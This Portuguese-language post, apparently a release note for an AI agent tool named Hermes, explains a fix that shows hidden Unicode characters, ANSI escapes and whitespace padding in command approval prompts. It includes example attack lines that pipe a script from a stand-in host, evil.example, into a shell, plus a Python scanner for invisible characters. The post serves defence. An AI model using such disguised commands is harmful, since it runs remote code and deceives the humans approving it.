O prompt de aprovação estava mentindo para você: o Hermes agora mostra caracteres ocultos e padding


É 1 da manhã e você está terminando o trabalho. Um colega joga no chat um comando para “limpar o diretório de build”. Você copia, cola no terminal e o Hermes pede sua aprovação. Você dá uma olhada na linha, lê rm -rf ./build e clica em permitir. Mas aquela linha também carregava dois caracteres que você não consegue ver: um espaço de largura zero e um override bidirecional que inverte a direção de tudo o que vem depois — seguidos de curl -s evil.example | sh. O que rodou não foi o que você aprovou.

Isso não é um exercício mental. Terminais e janelas de chat não têm defesa alguma contra caracteres invisíveis. Caracteres de largura zero fazem duas strings diferentes parecerem idênticas na tela. Um override bidirecional consegue exibir a metade final de uma linha ao contrário — o truque por trás da classe de ataques conhecida como “Trojan Source”. Escapes ANSI podem limpar a tela, pular o cursor para o início da linha e sobrescrever o que você acabou de ler. E algumas centenas de espaços bastam para empurrar a cauda perigosa para fora da área visível — ou além do corte de 200 caracteres da prévia em um cartão de chat.

A aprovação é o único ponto de checagem humano dessa cadeia. Se o que ela mostra difere do que será executado, esse ponto de checagem simplesmente não existe.

Um comando pode parecer A e rodar como B

Comece pelo mecanismo. O prompt de aprovação recebe a string bruta do comando e a desenha na tela. O problema está no desenho — informação se perde pelo caminho:

  • Espaço de largura zero (U+200B), zero-width joiner (U+200D), hífen suave (U+00AD) ocupam largura zero. Você não vê nada; eles continuam fazendo parte da string.
  • Overrides e isolates bidirecionais (U+202A–U+202E, U+2066–U+206F) mudam a ordem de exibição do texto seguinte, então uma carga maliciosa no final pode ser disfarçada de limpeza inofensiva.
  • Seletores de variação (U+FE00–U+FE0F) e o bloco de tags U+E0000 são invisíveis por projeto — o bloco de tags é uma forma comum de contrabandear instruções escondidas.
  • Bytes de controle crus: uma sequência de escape ANSI/OSC pode apagar uma linha ou mover o cursor, e um \r sozinho faz a segunda metade de uma linha sobrescrever a primeira.
  • Padding de espaços em branco: centenas de espaços ASCII, ou espaços de largura total (U+3000) / não separáveis (U+00A0), empurram a cauda real para fora da borda do painel ou além de um corte de prévia.

Nada disso é exótico. Copie um comando de uma página web, de uma thread de issues ou de um log de chat e os caracteres invisíveis vêm junto na carona. READMEs envenenados e trechos de “instalador de uma linha” são os veículos de sempre.

O que a correção faz: tornar o invisível visível

A mudança fica em agent/redact.py e adiciona duas funções. sanitize_command_for_display() converte conteúdo oculto em escapes visíveis; redact_approval_display() aplica primeiro a redação de segredos e depois esse sanitizador. Todo lugar que renderiza um prompt de aprovação agora usa a segunda.

As regras, como foram implementadas:

Conteúdo O que você vê agora
Largura zero, controles bidirecionais, seletores de variação, caracteres de tag, bytes de controle Renderizados como escapes, por exemplo \u200b, \u202e, \U000e0041, \x1b
21 ou mais caracteres de espaço em branco consecutivos no meio da linha, após texto visível Resumidos como ⟨+N whitespace chars⟩
65 ou mais caracteres de espaço em branco consecutivos no início da linha Mesmo marcador — indentação real fica intacta
4 ou mais linhas em branco consecutivas Resumidas como ⟨+N blank lines⟩
Indentação normal, tabs, quebras de linha, texto comum (qualquer idioma) Inalterados, byte a byte

Os limites não são arbitrários. Vinte e um espaços no meio da linha e 65 no início estão muito além de qualquer indentação que um humano escreveria, e exatamente na faixa usada para empurrar conteúdo para fora da vista.

Então um comando com um espaço de largura zero e um override bidirecional na frente da carga real costumava aparecer como um rm -rf ./build limpinho. Agora aparece assim:

⚠️ Approval required
  rm -rf ./build\u200b\u202e; curl -s evil.example | sh

E uma linha preenchida com 300 espaços tem sua cauda puxada de volta para dentro dos primeiros 200 caracteres:

echo ok ⟨+300 whitespace chars⟩curl -s evil.example | sh

Onde isso se aplica

Uma correção, todas as superfícies: o prompt de aprovação clássico da CLI e seus callbacks, o cartão de aprovação que o gateway publica nas plataformas de chat, o corpo pendente do execute_code, os transportes de aprovação de plugins e a junção _redact_approval_command em gateway/run.py — o ponto de entrada compartilhado por trás dos cartões de mensageria, do TUI, do Desktop e do servidor de API. Essa junção chama a nova função com force=True, então a limpeza de caracteres ocultos vale mesmo com security.redact_secrets desligado (a redação de segredos também pode ser forçada ali).

Se você já aprovou um comando dentro do Discord, Slack ou Telegram, aquele cartão agora carrega os escapes.

A fronteira que importa: só exibição

Deixe claro o que isso não é, ou você vai ler errado e achar que o comando foi reescrito:

  • Os bytes que executam não mudam. Nada é reescrito em tempo de execução.
  • A avaliação do smart mode lê o comando bruto, não a cópia sanitizada.
  • As chaves de padrão da allowlist são calculadas a partir do comando bruto, então o “sempre permitir” não muda por causa de uma alteração na exibição.

Em outras palavras: isso faz você conseguir ver, não toma a decisão por você. Um comando perigoso por si só continua perigoso quando exibido com precisão — você precisa negá-lo. E comandos que o smart mode aprova de imediato nunca mostram prompt nenhum, então isso cobre apenas os prompts que um humano realmente recebe.

Como usar: nada para configurar

Não há chave de configuração nem interruptor. A correção fica no caminho de renderização da aprovação e vem ativada por padrão. O PR #81403 entrou em 2026-11-01 e já está na v0.22.6 (2026-11-02): ao atualizar ela passa a valer; só o v0.22.5 e anteriores não a têm.

Para ver o efeito com seus próprios olhos, alimente a ferramenta com um comando que tenha um caractere oculto (cole o espaço de largura zero real onde aparece \u200b abaixo), ou audite os scripts que você já executa:

import unicodedata

SUSPECT = set("\u200b\u200c\u200d\u2060\ufeff\u202a\u202b\u202c\u202d\u202e\u2066\u2067\u2068\u2069")

def scan(text):
    for lineno, line in enumerate(text.splitlines(), 1):
        hits = [(hex(ord(c)), unicodedata.name(c, "?")) for c in line if c in SUSPECT]
        if hits:
            print(lineno, hits)

scan(open("deploy.sh", encoding="utf-8").read())

Vale a pena rodar essa varredura em scripts de deploy, configs de CI e qualquer comando de instalação que alguém te mande.

Por que uma correção pequena como essa importa

A fadiga de aprovação é real: quando os prompts são constantes, as pessoas clicam em permitir por reflexo. Quando o próprio prompt pode ser falsificado, clicar em permitir é assinar de olhos fechados. Esta mudança não adiciona nenhuma camada nova de segurança e não torna seguro nenhum comando perigoso — ela realinha “o que você vê” com “o que vai rodar”. Para quem aprova uma dúzia de comandos por dia, esse alinhamento vale mais do que mais uma regra.

Leitura relacionada: por que um prompt de aprovação espera em vez de expirar por timeout, e o que acontece quando ele expira — veja prompts de aprovação esperam até serem respondidos e a reversão do timeout de aprovação. Se você ainda não configurou a política de aprovação, comece por Smart Approvals e pela referência do comando config. E antes de desligar as aprovações de vez, leia aprovações sem supervisão.